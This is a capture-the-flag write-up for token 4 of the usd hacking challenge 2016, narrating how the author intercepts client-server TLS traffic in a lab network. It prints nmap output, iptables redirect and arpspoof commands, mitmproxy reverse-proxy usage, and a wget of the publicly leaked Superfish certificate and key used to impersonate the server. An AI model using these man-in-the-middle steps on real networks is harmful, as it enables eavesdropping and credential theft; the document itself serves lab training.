usd hacking challenge 2016 writeup: token 4
This very nice networking challenge with some light crypto thrown in had me using old and proven techniques like ARP spoofing, but also got me acquainted with a slick new tool I had not used before. It was also partly based on a recent real-life security disaster. I really enjoy networking challenges, and this one was no exception.
A virtual network
I set up the two VMs, client and server, as instructed on the challenge website and placed a Kali VM on the same host-only adapter. Since I did not even know what networks and IP addresses were configured on the VMs, I started Wireshark on my attack VM before even booting the challenge VMs, so that I could capture any early ARP traffic:
So, a machine
192.168.10.9 was asking for machine
192.168.10.10, obviously the client trying to talk to the server. I gave my attack VM
192.168.10.100 and had a look at the server:
root@kali:~# nmap -n -A -T4 192.168.10.10 Starting Nmap 7.10 ( https://nmap.org ) at 2016-03-20 22:30 CET Nmap scan report for 192.168.10.10 Host is up (0.00036s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.17 ((Unix)) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.17 (Unix) |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd 2.4.17 ((Unix)) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.17 (Unix) |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=192.168.10.10/organizationName=Superfish, Inc./stateOrProvinceName=CA/countryName=US | Not valid before: 2016-02-25T15:53:55 |_Not valid after: 2017-02-24T15:53:55 |_ssl-date: TLS randomness does not represent time MAC Address: 08:00:27:65:32:37 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.2 Network Distance: 1 hop
OK, a HTTPS server with a certificate from Superfish. This sort of rang a bell, but at first I did not process this information correctly. The challenge website had mentioned "fishy" certificates, and I just assumed that maybe there was no validation happening on the client side.
Obvious MITM is obvious
As I thought the token might be somewhere inside that encrypted communication, I wanted to launch a MITM attack. There is a tool in Kali Linux now I had not used before, mitmproxy. Really cool features and a slick UI. The reverse proxy mode seemed to be exactly what I needed. Combined with an ARP spoof, I should be able to intercept requests from the client and forward them to the server, and vice versa, while looking at the content.
Standard ARP spoof setup:
root@kali:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080 root@kali:~# arpspoof -i eth0 -t 192.168.10.9 192.168.10.10 8:0:27:df:8c:81 8:0:27:c4:5d:f3 0806 42: arp reply 192.168.10.10 is-at 8:0:27:df:8c:81 8:0:27:df:8c:81 8:0:27:c4:5d:f3 0806 42: arp reply 192.168.10.10 is-at 8:0:27:df:8c:81 8:0:27:df:8c:81 8:0:27:c4:5d:f3 0806 42: arp reply 192.168.10.10 is-at 8:0:27:df:8c:81
Then I started mitmproxy in reverse proxy mode:
root@kali:~/usdhc# mitmproxy -R https://192.168.10.10
However, nothing showed up. I verified that ARP spoof and mitmproxy were working by doing a
curl -k https://192.168.10.10 from another machine after ARP poisoning it. I got the It works from Apache, so up to layer 4, my plan was good.
When I looked at Wireshark, which was still running on my Kali VM, I noticed:
Fishy MITM goes phishing
"Unknown CA" - so apparently, there was certificate validation on the client side after all. Superfish.... wasn't there.... ah, yes, there was. And the certificate is publicly available, together with its brute-forced passphrase.
So I hooked up my Kali to the Internet again and got certificate and key in one file:
root@kali:~/usdhc# wget https://gist.github.com/mathiasbynens/7a13a467b22c42505490/raw/07462b9e07f2ab5ccf0dd4004a449c128005c578/superfish.pem
Back in the challenge network, I told mitmproxy to use it:
root@kali:~/usdhc# mitmproxy -R https://192.168.10.10 --cert superfish.pem Enter PEM pass phrase:
And sure enough, the first flow appeared after a few seconds.
When I opened it, I saw this request:
I did not bother with this BASE64 encoded string. Seemed to be a credential, i.e. the "magic word" the server asked for when I just connected to that
detokenizer.php URL with my browser.
What I was looking for was in the response: